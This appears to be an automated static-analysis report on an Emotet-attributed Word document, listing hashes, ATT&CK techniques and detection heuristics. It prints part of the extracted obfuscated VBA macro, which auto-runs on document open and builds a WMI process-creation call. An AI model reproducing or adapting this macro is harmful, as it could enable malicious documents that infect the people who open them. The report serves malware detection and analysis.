Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 e62ade83d90089f1…

MALICIOUS

Office (OLE)

235.6 KB Created: 2020-09-03 11:17:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 1e759a914fa48055e2c68463998ebd99 SHA-1: f48b10e0dc18a0a49873deb316f30e7ef7785506 SHA-256: e62ade83d90089f1e5aa25f31bcc623d5e80d400c9754371e949cf4f99bd63b3
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro that executes obfuscated code. This code uses CreateObject, a common technique for Emotet to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' further supports the Emotet family attribution and its downloader functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11698 bytes
SHA-256: a40b919a54fc4de4c1c7072dac357b96db7dc61372798583215cbf2d7537b9f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hj63rer0qlvnxh934k"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Uvklm9ab24yf0222y4.Q9j58_z1nbj9pp0n
End Sub


Attribute VB_Name = "Uvklm9ab24yf0222y4"
Attribute VB_Base = "0{B7C477D5-F16B-446C-9239-DACE028FAAC7}{4CF983D8-65F1-498A-9CD7-84A9505E9488}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Q9j58_z1nbj9pp0n()
   On Error Resume Next
Htyb6ik7mtuygj = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
R2r91_xb7ssytbe = xoQC80y2
Qfftw7dihalewgt = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Ybfej1dqys4tmv25i0 = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
I0cz7edu7xjr8ykb8i = (51 / bKtNl)
Na2_4xj1zyspz0vzr7 = CDate(TDlq20)
Xwo70dw1gv7hn = 105
   On Error Resume Next
Htyb6ik7mtuygj = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
R2r91_xb7ssytbe = xoQC80y2
Qfftw7dihalewgt = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Ybfej1dqys4tmv25i0 = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
I0cz7edu7xjr8ykb8i = (51 / bKtNl)
Na2_4xj1zyspz0vzr7 = CDate(TDlq20)
Kxshkr36r54bxpxqwl = ChrW$(Xwo70dw1gv7hn + (10))
   On Error Resume Next
Htyb6ik7mtuygj = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
R2r91_xb7ssytbe = xoQC80y2
Qfftw7dihalewgt = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Ybfej1dqys4tmv25i0 = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
I0cz7edu7xjr8ykb8i = (51 / bKtNl)
Na2_4xj1zyspz0vzr7 = CDate(TDlq20)
Hh9woq6sj9je3 = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Kxshkr36r54bxpxqwl + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + Uvklm9ab24yf0222y4.Ssek9ozpj6h + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Htyb6ik7mtuygj = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
R2r91_xb7ssytbe = xoQC80y2
Qfftw7dihalewgt = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Ybfej1dqys4tmv25i0 = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
I0cz7edu7xjr8ykb8i = (51 / bKtNl)
Na2_4xj1zyspz0vzr7 = CDate(TDlq20)
Gzn9ry27eh_il027 = Rluv__d1s0z(Hh9woq6sj9je3)
   On Error Resume Next
Htyb6ik7mtuygj = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
R2r91_xb7ssytbe = xoQC80y2
Qfftw7dihalewgt = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Ybfej1dqys4tmv25i0 = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
I0cz7edu7xjr8ykb8i = (51 / bKtNl)
Na2_4xj1zyspz0vzr7 = CDate(TDlq20)
   On Error Resume Next
Htyb6ik7mtuygj = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
R2r91_xb7ssytbe = xoQC80y2
Qfftw7dihalewgt = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Ybfej1dqys4tmv25i0 = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
I0cz7edu7xjr8ykb8i = (51 / bKtNl)
Na2_4xj1zyspz0vzr7 = CDate(TDlq20)
Ihs_10yi6a8f4o = Uvklm9ab24yf0222y4.Waf_j5oda6wau.ControlTipText
   On Error Resume Next
Htyb6ik7mtuygj = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))

... (truncated)